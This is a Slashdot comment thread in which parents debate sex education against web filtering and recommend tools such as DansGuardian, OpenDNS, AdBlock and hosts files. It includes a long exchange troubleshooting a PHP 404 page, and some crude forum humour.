    Your kids are gonna find out. Accept it. The right approach is education. And not retarded "well, ya see, when a boy and girl really, really like each other" education. Real education. And approval thereof. Tell them about condoms. Tell them about birth control. Tell them about a pumpkin-sized blood-covered creature ripping out of the girl's crotch leaving behind so much damage that the doctor quits using stitches and opts to replace everything with a steel plate.

    --
    I scream. You scream. I assume that means we're both acquainted with the problem. We proceed.
    1. Re:None of us were filtered!! by Anonymous Coward · · Score: 0

      And we all turned out alright.

      Speak for yourself! I'm a card carrying member of GNAA

      Tell them about a pumpkin-sized blood-covered creature ripping out of the girl's crotch leaving behind so much damage that the doctor quits using stitches and opts to replace everything with a steel plate.

      Wait... are you sure you're alright?

    2. Re:None of us were filtered!! by SlappyBastard · · Score: 1

      "Speak for yourself! I'm a card carrying member of GNAA"

      See? In a filtered world, I wouldn't have been able to find out what you think is so wrong with yourself.

      --
      I scream. You scream. I assume that means we're both acquainted with the problem. We proceed.
    3. Re:None of us were filtered!! by Anonymous Coward · · Score: 0

      I can see how well you turned out. ("pumpkin sized, blood covered")

      The mental image you have is substantially different than the one I have of my children being born. I don't remember any of the blood - just the beauty of it all.

      I don't think scaring your kids with hyper-reality is any better than leaving them ignorant.

      I don't use any filter (at least yet), but I also don't allow my children to Google without an adult nearby.

    4. Re:None of us were filtered!! by SoTuA · · Score: 2, Insightful

      Sure, we weren't filtered, because there was no internet to be filtered when we (most of us, at least) where growing up. I was born in the mid-70's, my parents had to worry about me somehow getting my hands on a skin mag or betamax video (both of them non-easy propositions), whereas these days there's more porn you can shake your stick at just a click away on the internet.

      Other than the nitpick (this is slashdot, after all), I fully agree on education. I intend to educate my children - I don't want them to go learn by themselves like I did, my parents told me exactly jack shit.

      And I will hammer the topics safe sex and birth control like crazy, the horrors of STDs and unwanted pregnancy. I have toyed with the idea of keeping tabs on how much I've been spending on my son to present him a complete report when he gets to sexually active age: "Son, this is how much not stopping for a condom can cost - bear in mind we had good jobs when we had you, how much do *you* make nowadays?".

    5. Re:None of us were filtered!! by gknoy · · Score: 2, Insightful

      Your kids are gonna find out. Accept it. The right approach is education.

      If theoriginal poster is like me, he's relatively OK with his kids looking for pictures of naked people, once they are of an appropriate age. We're realistic to recognize that there's not a thing we can do to completely stop a determined seeker. However, the primary concern was prevention of accidental stumblings. There are many terms which your child might want to search for, and that you don't want them to find. Imagine if your daughter loved lemons, and wanted to have a lemon-themed party. I'm certain that the first page of web search results would return some undesirable content. That's a part of the internet I'd like to be a black hole (at least when viewed from my computers), and therefore keep my kids safe from accidental exposure.

      None of this is to imply that we don't think education is good. Of ocurse it is. I think we downplay the hazards of the internet, though, as:
      - Most of us were already relatively mature teenagers when we discovered pictures on the internet
      - Most of us have already put in mental or other controls to avoid seeing bad stuff.

      We have already been scarred by exposure to things like Goatse, tubgirl, 2g1c, and even rickrolling such that we avoid clicking on random links to pictures or video. I don't mind if my kids get rickrolled, but I don't want them to start out learning the Hard Way when they're too young (IMO) to be able to handle it. Six year olds don't need to see goatse.

    6. Re:None of us were filtered!! by Anonymous Coward · · Score: 0

      you must be new here

    7. Re:None of us were filtered!! by Anonymous Coward · · Score: 0

      I don't know about you (actually, I do, and this goes for you too) but I'm addicted to porn. Maybe if there'd been a filter I would not have been such a weak little boy.

    8. Re:None of us were filtered!! by glitch23 · · Score: 1

      Your kids are gonna find out. Accept it. The right approach is education. And not retarded "well, ya see, when a boy and girl really, really like each other" education. Real education. And approval thereof. Tell them about condoms. Tell them about birth control.

      *sarcasm*Using the same logic, don't forget to tell her that if she is going to start smoking then she should use the filtered cigarettes and if she is going to drive above the speed limit then to wear her seat belt and make sure no cops are around.*sarcasm* Prior approval is not a good thing. Don't tell your kids you approve of something bad. They never learn right from wrong that way. You may approve of condoms but that ignores the main isssue of needing to use them in the first place.

      --
      this nation, under God, shall have a new birth of freedom. -- Lincoln, Gettysburg Address
    9. Re:None of us were filtered!! by SlappyBastard · · Score: 1

      I wasn't really pitching hyper realism. I was pitching a bad joke. I was sort of hoping the part about doctors skipping stiches in favor of a steel plate would have been a clue as to the relative glibness.

      On the other hand, the 17 y.o. female in my house (well, one of the two I don't keep chained in the basement, anyhow) is deathly afraid of pregnancy. I didn't make her that way. In fact, it was the birth of her first niece that did the job. Particularly all the complication for the mom afterward.

      --
      I scream. You scream. I assume that means we're both acquainted with the problem. We proceed.
    10. Re:None of us were filtered!! by SlappyBastard · · Score: 1

      In abundant fairness, you need to turn off your internet connection. There is no other solution.

      --
      I scream. You scream. I assume that means we're both acquainted with the problem. We proceed.
    11. Re:None of us were filtered!! by pbhj · · Score: 1

      The thing about condom based sex ed is that the teens seem to have a short attention span they forget the ".. so long as you use a condom." bit and only remember the "If you're having sex you won't get STDs/STIs or pregnant.." bit.

  27. I use "Dan's Guardian" by Anonymous Coward · · Score: 0

    I use "Dan's Guardian" (http://dansguardian.org/), and squid on my home network. This provides reasonable filtering - kind of like a free "WebSense" - and allows me to go through the logs to see where users have been, even if they clear the history and cache of their browsers.

  28. Spending time with the kids. by arugulatarsus · · Score: 1

    I can vouch for taking interest in your kids activities combined with noscipt or adblock doing a great job.
    Your daughter will probably become savy to understand what to type in a google query and what not to type very fast. You may wish to teach her also how to read the URL name in google results and avoid the funky ones.

  29. Smoothwall and Dansguardian by Anonymous Coward · · Score: 0

    I use smoothwall with Dansguardian for my church, home and family, works GREAT!

  30. My advise by Anonymous Coward · · Score: 0

    As long as she's talking about hot guys and not hot girls, I wouldn't worry too much.

    1. Re:My advise by jsrlepage · · Score: 0

      Depends on your point of view. Some may like that idea, if only to have future insurance of no-kids-before-(insert religious nonsensical term here).

      --
      This is my opinion. Everyone has a right to my opinion.
  31. We must have different definitions by MikeRT · · Score: 4, Insightful

    My question is: What Linux-based Internet filtering solution do Slashdot dads favor, and do they hinder a child's efforts to learn about the world?"

    It may go against conventional wisdom on Slashdot, but filters don't particularly hinder a child's efforts to learn about the world. If there is something that they want to see, they can ask you if it's ok and you can unblock it. That's the 21st century version of the way that parents used to do it. Part of being a parent is being a gatekeeper. Some information your kids just need to be largely innocent of until they become adults. It's one thing to know that the ugly side of the world exists. It's another thing to take few measures to stop your kids from participating in it out of curiosity.

    1. Re:We must have different definitions by LateArthurDent · · Score: 1

      It may go against conventional wisdom on Slashdot, but filters don't particularly hinder a child's efforts to learn about the world. If there is something that they want to see, they can ask you if it's ok and you can unblock it. That's the 21st century version of the way that parents used to do it. Part of being a parent is being a gatekeeper. Some information your kids just need to be largely innocent of until they become adults. It's one thing to know that the ugly side of the world exists. It's another thing to take few measures to stop your kids from participating in it out of curiosity.

      I don't have kids, and I'm perfectly willing to admit that this makes me not qualified to give most types of parental advice. So, without telling you what I think is best and what I don't think is best, I will merely state from experience (of being raised by parents) that not all parents believe in your gatekeeper philosophy.

      My parents believed that if I'm old enough to want to look for something, I'm old enough to be allowed to look for it. If I'm old enough to want to watch a violent movie, I'm old enough to watch it. If I'm old enough to look for porn online, they sure as hell weren't going to try to prevent me from finding it. They performed their gatekeeper role by attempting to filter what tries to come in from the outside world into my life, but let me have full control of the gate when I wanted to open it and seek something out. That doesn't mean it didn't come with advice that I probably shouldn't be involved in certain things, but they figured that letting me get hurt by ignoring their advice was the best way of making me learn that I should seriously consider following it the next time.

      Not saying it works for every child, not telling anyone that's the way they should raise their children. Worked for me, I'm doing fairly well today, and I'll try to use the same principle when I have my own kids...however, I was an only child so I have literally one data point here.

    2. Re:We must have different definitions by prograde · · Score: 1

      Plus, added bonus:

      Maybe learning to defeat your blocking protocols will teach her 1337 hacker skills.

      (Actually, I'm being serious - if she can out-hack her old man, she'll do fine in the real world.)

    3. Re:We must have different definitions by KGBear · · Score: 1

      Some information your kids just need to be largely innocent of until they become adults.

      If you had said "some information kids need to be protected of until they become adults" I'd tend to agree with you. First you shouldn't be using the term "innocent". That has religious connotations that really have no place here. Second, at the age which he is describing, children are no longer your brand of "innocent". They are starting to feel the irresistible pull of their hormones and they WILL find what they are looking for, filters or no filters. Frankly, I'd rather my son looked at porn on his computer in his bedroom than hide in some public place with a couple of friends and a stolen magazine. I only hope to make it clear enough that he will never be punished for it and that he will always be welcome to talk to me about anything that he might find disturbing. I will also promise I will never be condescending and will always treat him with respect. I will of course also force his machine to go through squid on the family firewall... I'm still his father and responsible for him and I should have some way of knowing where he's going. Don't filter. Be aware, be available, be protective.

    4. Re:We must have different definitions by nightfire-unique · · Score: 2, Interesting

      It's one thing to know that the ugly side of the world exists. It's another thing to take few measures to stop your kids from participating in it out of curiosity.

      Just out of curiosity, were you thinking of sex when you wrote that? Or things like war, crime, and politics?

      --
      A government is a body of people notably ungoverned - AC
    5. Re:We must have different definitions by mattwarden · · Score: 1

      > Some information your kids just need to be largely innocent of until they become adults

      As a recent college grad, I'd like to thank you and all dads like you.

    6. Re:We must have different definitions by pbhj · · Score: 1

      Wow an actual parent on /.

  32. AdBlock by Todd+Knarr · · Score: 2, Informative

    Being Linux, you're likely using FireFox or one of it's builds (eg. Debian's IceWeasel). I recommend the AdBlock add-on, and possibly the NoScript add-on as well. In the process of blocking ads in general, AdBlock's going to get most of the porn ads as well. Set up bogofilter for e-mail filtering and you'll quickly get all the spam (including all the porn spam) diverted into a junk folder (Thunderbird has similar filtering built-in with it's junk-mail flagging feature, I use bogofilter mainly because I alternate between Thunderbird and Pine as my mail readers and want the junk-mail filtering to happen regardless of which one I'm using at the moment). That should take care of the majority of the problem. What's left will be search result spam, and those are mostly obvious from reading the result without having to visit the site to find out.

  33. You need to have that chat by geekoid · · Score: 4, Funny

    NOW.

    Filter out the obvious stuff. You won't stop a dedicated teen from finding what they want, but you can try to stop them from getting things they don't want that are inappropriate.
    I have a daughter and a son, and yes, knowing there will be a day when my kids are looking for 'Hot [Gender of choice]' scares the shit out of me.

    --
    The Kruger Dunning explains most post on /. http://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect
    1. Re:You need to have that chat by shutdown+-p+now · · Score: 1

      knowing there will be a day when my kids are looking for 'Hot [Gender of choice]' scares the shit out of me.

      Why?

    2. Re:You need to have that chat by Creepy+Crawler · · Score: 1

      No wonder you're modded funny. Any real geek would know that only in the last 120 years have "teens" been considered under adults. They're effectively a subclass to extend childhood, which is a whole class of wrong.

      And as a computer person, you should understand recursiveness; you worry about the same thing your parents worried about. And if you do your job rigt, you have little to worry about.

      --
    3. Re:You need to have that chat by Anonymous Coward · · Score: 0

      I imagine he's worried he'll become a grandparent a wee bit early.

    4. Re:You need to have that chat by cptdondo · · Score: 1

      Yeah, I'm with you on that. I don't filter but I will add OpenDNS to my repertoire.

      One thing that I do that I have not mentioned: Get mythtv and filter those commercials! They're worse than porn. I can see my kids getting grossed out if they hit goatse, but those damn Disney commercials are worse. They sell a totally believable but completely unrealistic image of girls, especially tween girls.

    5. Re:You need to have that chat by booyabazooka · · Score: 1

      I imagine he's worried he'll become a grandparent a wee bit early.

      Spending plenty of time with porn on the Internet sounds like a fantastic way to prevent that.

    6. Re:You need to have that chat by yanyan · · Score: 1

      looking for 'Hot [Gender of choice]' scares the shit out of me.

      You better fucking pray they don't go looking for 'Hot [animal of choice]'.

    7. Re:You need to have that chat by clone53421 · · Score: 1

      only in the last 120 years have "teens" been considered under adults. They're effectively a subclass to extend childhood, which is a whole class of wrong.

      Hear hear!

      And as a computer person, you should understand recursiveness; you worry about the same thing your parents worried about. And if you do your job rigt, you have little to worry about.

      Hmm... humanity as an infinite recursion with an 18-year calling process to push the arguments onto the stack. As a computer person, I kinda like it...

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    8. Re:You need to have that chat by Anonymous Coward · · Score: 0

      Yeah... do you have any idea what they put into that hot dog? Eww.

  34. Re:Thanks, I use BumperCar on OS X for my kids by Anonymous Coward · · Score: 0

    We have all mac OS X machines in the house, so that helps the adults. My child also has "BumperCar" as her browser, very safe.

  35. Just use OpenDNS by falken0905 · · Score: 1

    Use OpenDNS and adjust the content filters to block porn, adult content, or whatever you like. I assume you're married so you obviously don't need porn on any of the computers in your home, right? But, for those times when the wife ane kid are away, you can whitelist your favorite site(s) and... well, whatever.

  36. Re:Adblock (and NoScript) by Itninja · · Score: 3, Insightful

    With those two in place she will never see a dirty picture she didn't look for. More than once I have recommended a site (usually a hacking or cracking site) to a friend and had them remark on how much porn advertising was on the site and all the porn popup ads. I hadn't even realized it because I was using AdBlock[er] and NoScript and wasn't seeing any of that.

    --
    I judt got a nre Kinesis keybiartf so please excusr ant egregiou typos.
  37. Filters by DoofusOfDeath · · Score: 2, Funny

    What Filters Are Right For Kids?

    Today mine got up at 5 a.m. My answer would have to be, "coffee filters".

    1. Re:Filters by Anonymous Coward · · Score: 0

      Take your pick:

      1) You really shouldn't give the kids coffee.
      2) I don't think kids like the taste of coffee filters.
      3) Filtering them from starbucks.com will not accomplish much.
      4) That would only get rid of aromatic Colombian and Ethiopian porn.

      I'm a vegan. I'll be here all weak.

    2. Re:Filters by DoofusOfDeath · · Score: 1

      Take your pick:

      1) You really shouldn't give the kids coffee.
      2) I don't think kids like the taste of coffee filters.
      3) Filtering them from starbucks.com will not accomplish much.
      4) That would only get rid of aromatic Colombian and Ethiopian porn.

      I'm a vegan. I'll be here all weak.

      So the theory is, submit four "+0.25 funny" jokes, and you get a +1 Funny modification?

  38. net filters for children by falconwolf · · Score: 1

    it's not fair for aggressive porn advertisers to splash sex in her face without her permission. My question is: What Linux-based Internet filtering solution do Slashdot dads favor

    Instead of using a filter maybe a hosts file would work better for you. Google has a number of results where you can download one. Basically what they are are files with URLs and IP addresses that are directed to the local host. If you try to go to pornadvertizing.com it will look for it on your computer. It's easy to add and remove websites from the file, to add a website just add "127.0.0.1 pornadvertizing.com" to the file on a new line. If I recall right, to use one on Linux just put the hosts file in the etc directory. I know that's where I put it in OS X.

    Falcon

    1. Re:net filters for children by Sensible+Clod · · Score: 1

      I've tried to use that for certain obnoxious websites (doubleclick, esomniture, etc.), but I'm running a webserver, which just causes weird behavior and long page-load times. How do I use a hosts file in this case?

      --

      The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
    2. Re:net filters for children by geminidomino · · Score: 1

      Maybe try an IP address in the 169.254.0.0/16 subnet?

      (It's a non-routable range a la 10.0.0.0/8 and 192.168.0.0/16, commonly used by windows when dhcp server doesn't respond).

    3. Re:net filters for children by clone53421 · · Score: 1

      I just wrote a 404 page that checked the requested domain. If it's "localhost" or anything else that should have pointed to my computer, it prints a standard 404 error. If it's something that shouldn't have pointed to my computer, I have it instead display a short message that the page was blocked by Spybot-S&D (since that's what created my hosts file).

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    4. Re:net filters for children by falconwolf · · Score: 1

      I've tried to use that for certain obnoxious websites (doubleclick, esomniture, etc.), but I'm running a webserver, which just causes weird behavior and long page-load times. How do I use a hosts file in this case?

      I've never setup a webserver and don't know what's going on. I'd think hosts files would only affect the computer it's on.

      Falcon

    5. Re:net filters for children by Sensible+Clod · · Score: 1

      True, but I'm running the server on the same computer that I use for normal web surfing, etc.

      --

      The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
    6. Re:net filters for children by falconwolf · · Score: 1

      True, but I'm running the server on the same computer that I use for normal web surfing, etc.

      Unless the server is requesting things from a website blocked by the hosts file it shouldn't matter. The hosts file only tells the computer it's on where to look for certain addresses.

      Falcon

    7. Re:net filters for children by Sensible+Clod · · Score: 1

      Well, the trouble is that I have a custom 404 page, which has the unfortunate side effect of cluttering up the browser window when 9 banners on the page suddenly point to localhost.

      How can I get around that? I don't want to point to a dead IP address, I want to point to a live but blocking IP address. I already tried my router, and my other machines are usually offline.

      --

      The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
    8. Re:net filters for children by falconwolf · · Score: 1

      Well, the trouble is that I have a custom 404 page, which has the unfortunate side effect of cluttering up the browser window when 9 banners on the page suddenly point to localhost.

      How can I get around that? I don't want to point to a dead IP address, I want to point to a live but blocking IP address. I already tried my router, and my other machines are usually offline.

      As I said before I have no idea.

      Falcon

    9. Re:net filters for children by clone53421 · · Score: 1

      I still don't see why you get weirdness or delays. Wouldn't you just get either your server's 404 page or an existing page on your server with the same URL as the page you tried to navigate to, excepting the domain?

      Come to think of it...

      Unless your server has proxy enabled... which you most likely don't need, and should probably turn off if that's the case. It might be going into infinite recursion since the hosts file is sending it back to 127.0.0.1, which is itself...

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    10. Re:net filters for children by clone53421 · · Score: 1

      Why don't you try what I suggested?

      Edit your 404 page and put something like this at the very top:

      <?php
      $valid_hosts = array($_SERVER['SERVER_ADDR'] => true,
          $_SERVER['SERVER_NAME'] => true,
          "127.0.0.1" => true,
          "localhost" => true);
      if (!isset($valid_hosts[$_SERVER['HTTP_HOST']]) exit;
      ?>

      Obviously you need to make $valid_hosts[] a list of valid paths that reach your server. If you're just doing local development, you could probably get by with 127.0.0.1 and localhost.

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    11. Re:net filters for children by Sensible+Clod · · Score: 1

      Excellent idea. Unfortunately, I don't know PHP very well. I did that, but I just get the 404 page with

      true, $_SERVER['SERVER_NAME'] => true, "127.0.0.1" => true, "localhost" => true); if (!isset($valid_hosts[$_SERVER['HTTP_HOST']]) exit; ?>

      at the top. Did I do it wrong, or is it my PHP setup?

      --

      The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
    12. Re:net filters for children by clone53421 · · Score: 1

      It sounds like it's not parsing the PHP. Probably your 404 page is a htm or html. Change the extension on the 404 page to .php and you might also have to change the config file for the server to change the 404 page's filename there too.

      Are you using Apache?

      Are you doing local stuff only with the HTTP server? E.g. http://localhost/? Basically the array needs to have an entry for every IP or domain name that you use to access the server. Obviously that includes 127.0.0.1 and localhost; if you're using a dyndns service, you'd put that address in there too...

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    13. Re:net filters for children by Sensible+Clod · · Score: 1
      Yes, I'm using Apache. I did forget to rename it to .php (d'oh!). It is now .php and I updated the httpd.conf to redirect to it. I am using the server both internally and web-facing. I put every address in there:

      <?php $valid_hosts = array($_SERVER['SERVER_ADDR'] => true, $_SERVER['SERVER_NAME'] => true, "127.0.0.1" => true, "localhost" => true, "mydomain.com" => true, "192.168.1.100" => true); if (!isset($valid_hosts[$_SERVER['HTTP_HOST']]) exit; ?>

      It now gives me a regular 404 error (not my PHP page) on every invalid URL.

      --

      The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
    14. Re:net filters for children by clone53421 · · Score: 1

      hmm, the php 404 page isn't working at all? and you changed the ErrorDocument in httpd.conf?

      are you using ie or firefox? internet explorer doesn't like short 404 pages... you could put in a 512-byte html comment if that's what you're using... (erm, I meant, start using firefox.)

      another thing is you could try echo'ing the $_SERVER['HTTP_HOST'] to see what exactly the script is actually getting... then hit the 404 by entering an invalid address. it *should* give you the *real* 404 page, if you've got the HTTP_HOST in the array of valid hosts.

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    15. Re:net filters for children by Sensible+Clod · · Score: 1

      Using FF on Fedora 10. Going directly to the 404.php page get me a page with 0-byte source. That may have something to do with why Apache isn't using it for the 404 page.

      I'm afraid I don't know PHP well enough to get it to echo that variable. Maybe

      <?php echo $_SERVER['SERVER_ADDR']?>

      Is that right?

      --

      The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
    16. Re:net filters for children by clone53421 · · Score: 1

      Should be, although I meant to say $_SERVER['HTTP_HOST'] rather than SERVER_ADDR. The 0-byte page sounds like the HTTP_HOST check is somehow excluding the actual requests in addition to the bad ones caused by hosts.

      just put,

      <?php echo $_SERVER['HTTP_HOST']; ?>

      and then hit the 404 page.

      if that's not the problem, e.g. if $_SERVER['HTTP_HOST'] prints something you added to the $valid_hosts array, you could try replacing exit with this:

      {
          header("HTTP/1.0 404 Not Found");
          ?>&!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">&html>&head>&title>&/title>&/head>&body>&/body>&/html><?php
          exit;
      }

      Then try hitting the 404.php both directly and by an invalid URL and see if you get the error document.

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    17. Re:net filters for children by clone53421 · · Score: 1

      Bleh. Somehow I replaced < with &amp; instead of &lt;...

      {
              header("HTTP/1.0 404 Not Found");
              ?><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title></title></head><body></body></html><?php
              exit;
      }

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    18. Re:net filters for children by Sensible+Clod · · Score: 1

      Well, I found that referencing the php page in my .htaccess makes all 404's go there now. Unfortunately, I still get the 0-byte page on all 404's, whether for my domain or from redirected ones, as well as referencing the file directly. The echo $_SERVER['HTTP_HOST']; did its job, but only when it was the only text in the file, apparently.

      --

      The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
    19. Re:net filters for children by clone53421 · · Score: 1

      Was the echo printing something you had already included in the array?

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    20. Re:net filters for children by Sensible+Clod · · Score: 1

      Yes, it was.

      --

      The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
    21. Re:net filters for children by clone53421 · · Score: 1

      Wow, I feel like an idiot. I should have caught this much sooner...

      If you copied and pasted

      if (!isset($valid_hosts[$_SERVER['HTTP_HOST']]) exit;

      you'll need to put another parenthesis in, like this...

      if (!isset($valid_hosts[$_SERVER['HTTP_HOST']])) exit;

      ...which should then work.

      Probably before you were getting errors printed to your log – apparently you don't have the server configured to display them in the output, which makes sense since it's web-facing...

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    22. Re:net filters for children by Sensible+Clod · · Score: 1

      Yes, I was getting errors. My turn to feel like an idiot for not checking the logs. I put in the other parenthesis in, and now it has no problem with the syntax, but now the log says: an unknown filter was not added: PHP. Still zero bytes.

      Makes me want to start from scratch on this.

      --

      The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
  39. Well.. by Brickwall · · Score: 1
    You could always check her history file, and see where she's been going. Of course, when she finds out you're spying on her, she'll probably run away and become a pole dancer...

    But seriously, I use Adblock Plus, and I haven't seen a porn or pop-up ad in months.

    --
    What was once true, is no longer so
  40. You sound like by LordKaT · · Score: 0, Troll

    You sound like a "concerned parent" trying to not be the stereotypical fucking tyrant we read so much about on Slashdot, but you're failing at it and rationalizing that it's the advertisers fault so you can put up filtering and ensure that your little angle stays innocent and ignorant.

    ("splash sex in her face without her permission" actually means "splash sex in her face without my permission" - don't try to cover it up with your bullshit)

    It's time for you as a human being to sit down and have a serious conversation with yourself: your daughter is growing up, plain and simple. If she's looking for "hot guys" today, in a few years she's going to be searching for "where can I buy a dildo in XXX" (or 10 years, or whatever, I don't know how old she is).

    Once you've finally understood that your daughter is growing into a sexual being, and that it's OK, you can approach this from the perspective of helping her to grow up, rather than forcing a bag over her head and keeping her in the dark.

    Honestly, if she's looking for hot guys, then it's time to sit down and talk with her about it - find out what her reasons are, why she wants to look at hot guys. It may be embarrassing, but if you simply filter the content, you're just keeping her in the dark about things she wants to learn about - and that creates a whole new subset of problems based around authority.

    1. Re:You sound like by American+Terrorist · · Score: 2, Funny

      find out what her reasons are, why she wants to look at hot guys.

      Ummmm, let me guessssssss.... DNA? Why do I enjoy looking at hot girls?

      A GOOD father would train their daughter from an early age to be interested in GEEKY guys.

  41. Whitelist by Mr.+McGibby · · Score: 1

    Setup a proxy that uses a whitelist. You should be approving every single site she goes to. It'll be annoying for a little while, while you add all the sites she regularly goes to, but after a while each time she asks for a new site, it'll be a good opportunity to talk to her about what she's doing online.

    --
    Mad Software: Rantings on Developing So
  42. DansGuardian by pjbgravely · · Score: 3, Informative

    DansGuardian

    Either put it on their desktop or install on a server if they use OSX/Microsoft windows.

    --
    Star Trek, there maybe hope.
    1. Re:DansGuardian by tlacuache · · Score: 1

      Seconded. DansGuardian is great. You could also use OpenDNS to filter DNS requests for sites which it flags as inappropriate. There's quite a range of configurablility as to what you can have it block access to. It solves a lot of the "accidental click" issues at our house.

    2. Re:DansGuardian by Anonymous Coward · · Score: 0

      I use dansguardian installed on the router computer, so there is no way to bypass it. I also keep all the computers in one room, so there is usually adult supervision in there.

    3. Re: Dansguardian by bobv-pillars-net · · Score: 1

      Used squid + dansguardian + clamav for a church network of about twenty workstations. The server/router/firewall/proxy had 512MB of RAM and about a gigabyte of hard drive dedicated to the cache. Subscribed to urlblacklist.com and hand-tweaked from there. Any denied pages triggered an email to the administrator (me) and after the initial break-in period, I saw no more than an email a month. The emails helped me figure out what needed to be adjusted, and they were more consistent and reliable than reports from the staff.

      Nothing beats dansguardian for security and completeness, but setting it up is a bit more work than most people are willing to undertake for just one or two computers.

      --
      The Web is like Usenet, but
      the elephants are untrained.
    4. Re:DansGuardian by BratNZ · · Score: 1

      This gets my tick as well. Pretty much set and forget.

    5. Re:DansGuardian by Anonymous Coward · · Score: 0

      DansGuardian

      Either put it on their desktop or install on a server if they use OSX/Microsoft windows.

      This should have been the first post , as it's the best way to protect - well you have to run your own server gateway.

  43. Move to Australia? by Anonymous Coward · · Score: 0

    I mean the government is going to take care of this kind of thing down there, honestly...

  44. Not Vantage! by hal2814 · · Score: 1

    Not Vantage! They have a hole in them. The manufacturer knows about the hole in the filter and will do absolutely nothing to patch it. They consider it a "feature" instead of a bug. Yeah right...

  45. Voluntary whitelist by Sowelu · · Score: 1

    As a kid I know I used to spend hours in front of encyclopedias for that...I guess that's one sign of a true nerd. And of course some kids learned a lot from National Geographic. I'd suggest setting her up with a list of links to places that are 'known good'--Wikipedia for the most part, and other similar places that are good starting points for honest research. There's quite a few sites out there that would be more useful to a curious kid (and much, much less traumatizing!) than undirected search on Google. So, give her places she can choose to use to start her search, without there being any real coercion or technological barriers involved.

    Once she has some good starting points you can trust, the only real harm in my mind is getting barraged by ads and clicking links that don't quite look like ads to an X-year-old. Can't recommend any tech for that, but the other replies sure can.

    1. Re:Voluntary whitelist by mcvos · · Score: 1

      If you want a whitelist, Glubble is great. It gives parents complete control over what their children can see, and if a child wants to visit a not-yet approved site, the parent received a message and can approve it immediately. It's aimed at younger children, though. I think it'd be too restrictive for teens.

      Also, it completely changes the appearance of Firefox into something more childish.

  46. Re: My daughter is using phrases like 'hot guys,' by Alien54 · · Score: 1
    Just how old is she, anyhow?

    There's this whole controversy about what age is a good age for Sex Education, and how long to "prolong the innocence of Childhood". Sometimes people do this because it's "cute";- I consider it potentially damaging. But a lot depends on circumstances.

    --
    "It is a greater offense to steal men's labor, than their clothes"
  47. If you really want to filter ... by Anonymous Coward · · Score: 0

    Give DansGuardian a try http://dansguardian.org/

  48. Use OpenDNS and a hosts file by NeverVotedBush · · Score: 5, Informative

    Actually, something like that exists for Linux and any OS that uses DNS - check out OpenDNS.

    http://www.opendns.com/

    You can configure what levels of filters to use and even customize the page that opendns supplies when a forbidden link is clicked.

    They are also working to block some of the botnet phone homes.

    All you need to do is use their name servers. You can set up an account and configure what gets blocked and what doesn't.

    Also check out an enhanced hosts file at http://www.mvps.org/winhelp2002/hosts.htm.

    That will block a lot of requests from ever leaving the computer. You can also add in whatever others you want as well.

    1. Re:Use OpenDNS and a hosts file by ndansmith · · Score: 2, Informative

      Yeah, OpenDNS should probably be supplemented, because Google image search, cache, etc. avoid name resolution.

    2. Re:Use OpenDNS and a hosts file by WaywardGeek · · Score: 5, Informative

      Dude, right on! I'm the original poster, and I have to tell you, this is exactly what I was looking for. I've set filter level to 'medium', for malware/phishing and porn. As the kids grow old enough to figure out how to get around it, they're probably old enough to handle unfiltered content.

      I hate to sound like an add for these guys, but hey, it's free, and in a few minutes of testing, it blocked 100% of the porn sites I tried to visit, but nothing from wikipedia.org. Search for 'sex' on wikipedia, and you still get a useful, informative site. Search for 'sex' on Google, and not one hard-core porn site is allowed, but metacafe.com gets through. The 'cached' links from Google show hard-core porn thumbnails, though. Not perfect, but way better than I was expecting! Thanks!

      --
      Celebrate failure, and then learn from it - Nolan Bushnell
    3. Re:Use OpenDNS and a hosts file by pleappleappleap · · Score: 3, Funny

      Personally, I think Camel filters are the best for kids.

    4. Re:Use OpenDNS and a hosts file by airjrdn · · Score: 1

      I also negated photo search sites, but it didn't stop cooliris, flickr, fotki, etc. Admittedly some of those aren't search sites, but they offer photo searching just the same.

    5. Re:Use OpenDNS and a hosts file by Calithulu · · Score: 5, Insightful

      I never understood parents that want to filter their kids internet connection. They'll have to live with the fact that the world is a bad place, and they should learn that naturally - not all at once when they turn 18 and you kick them out.

      Based on the article, he doesn't think she is ready yet and when she is he will happily reduce the filtering or remove it altogether.

      This is exactly the sort of responsible and appropriate response that should be encouraged, by the way. We make our own decisions about what we want censored, and we take action to filter it. No running to the Nanny State and demanding that they protect the children.

    6. Re:Use OpenDNS and a hosts file by Pentavirate · · Score: 2, Insightful

      There is such a thing as age-appropriate. Children are not born being able to handle all the good, bad, and ugly the world has to offer. As they develop intellectually, psychologically, and emotionally, they'll be able to handle more and more. It's up to the parents to filter their exposure until they can handle different things.

    7. Re:Use OpenDNS and a hosts file by thefinite · · Score: 0

      Do you have kids? If not, then you ought to shut up before you make yourself look even more stupid.

      Just because bad stuff exists in the world doesn't mean I have to let it into my house. Should I invite crack whores and rapists over to hang out with my kids just because they exist? The nature of addiction, with pornography or whatever, pretty much puts the burden on me to teach and protect my kids while they are still learning basic skills like self-control.

      And some parents may "kick them out" (their kids) at age 18, but most hard-working, caring parents plan on being there as a resource to their kids for the rest of their lives, not just until they become legal adults.

      --
      Boom Shanka
    8. Re:Use OpenDNS and a hosts file by Anonymous Coward · · Score: 0

      That's what we use, and it works like a charm. You have a lot of control over what is and its blocked.

    9. Re:Use OpenDNS and a hosts file by Anonymous Coward · · Score: 0

